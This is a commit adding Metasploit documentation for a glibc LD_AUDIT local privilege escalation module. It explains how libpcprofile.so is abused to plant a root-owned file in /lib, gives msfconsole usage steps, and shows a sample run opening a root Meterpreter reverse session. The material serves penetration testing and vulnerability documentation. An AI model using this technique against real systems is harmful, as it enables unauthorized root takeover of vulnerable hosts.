Skip to content

Commit 7cbf89f

Browse files
committed
Add documentation
1 parent 092eb0c commit 7cbf89f

File tree

1 file changed

+72
-0
lines changed

1 file changed

+72
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker to load arbitrary shared objects.
4+
5+
6+
## Vulnerable Application
7+
8+
glibc `ld.so` in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the `LD_AUDIT` environment variable when loading setuid executables. This allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user.
9+
10+
This module uses `LD_AUDIT` to load the `libpcprofile.so` shared object, distributed with some versions of glibc, and leverages arbitrary file creation functionality in the library constructor to write a root-owned world-writable file to a system trusted search path (usually `/lib`). The file is then overwritten with a shared object then loaded with `LD_AUDIT` resulting in arbitrary code execution.
11+
12+
This module has been tested successfully on:
13+
14+
* glibc version 2.11.1 on Ubuntu 10.04 (x86_64)
15+
* glibc version 2.7 on Debian 5.0.4 (i386)
16+
17+
RHEL 5 is reportedly affected, but untested.
18+
19+
Some glibc distributions do not contain the `libpcprofile.so` library required for successful exploitation.
20+
21+
22+
## Verification Steps
23+
24+
1. Start `msfconsole`
25+
2. Get a session
26+
3. Do: `use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc`
27+
4. Do: `set SESSION [SESSION]`
28+
5. Do: `check`
29+
6. Do: `run`
30+
7. You should get a new *root* session
31+
32+
33+
## Options
34+
35+
**SESSION**
36+
37+
Which session to use, which can be viewed with `sessions`
38+
39+
**WritableDir**
40+
41+
A writable directory file system path. (default: `/tmp`)
42+
43+
44+
## Scenarios
45+
46+
```
47+
msf > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
48+
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
49+
session => 1
50+
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
51+
52+
[*] Started reverse TCP handler on 172.16.191.244:4444
53+
[+] The target appears to be vulnerable
54+
[*] Using target: Linux x64
55+
[*] Writing '/tmp/.GQh1C8euY' (1913 bytes) ...
56+
[*] Writing '/tmp/.3l76zsoHT' (246 bytes) ...
57+
[*] Writing '/tmp/.WSuOVyo' (207 bytes) ...
58+
[*] Launching exploit...
59+
[*] Sending stage (857352 bytes) to 172.16.191.149
60+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.149:45721) at 2018-01-27 23:59:36 -0500
61+
62+
meterpreter > getuid
63+
Server username: uid=0, gid=0, euid=0, egid=0
64+
meterpreter > sysinfo
65+
Computer : 172.16.191.149
66+
OS : Ubuntu 10.04 (Linux 2.6.32-21-generic)
67+
Architecture : x64
68+
BuildTuple : i486-linux-musl
69+
Meterpreter : x86/linux
70+
meterpreter >
71+
```
72+

0 commit comments

Comments
 (0)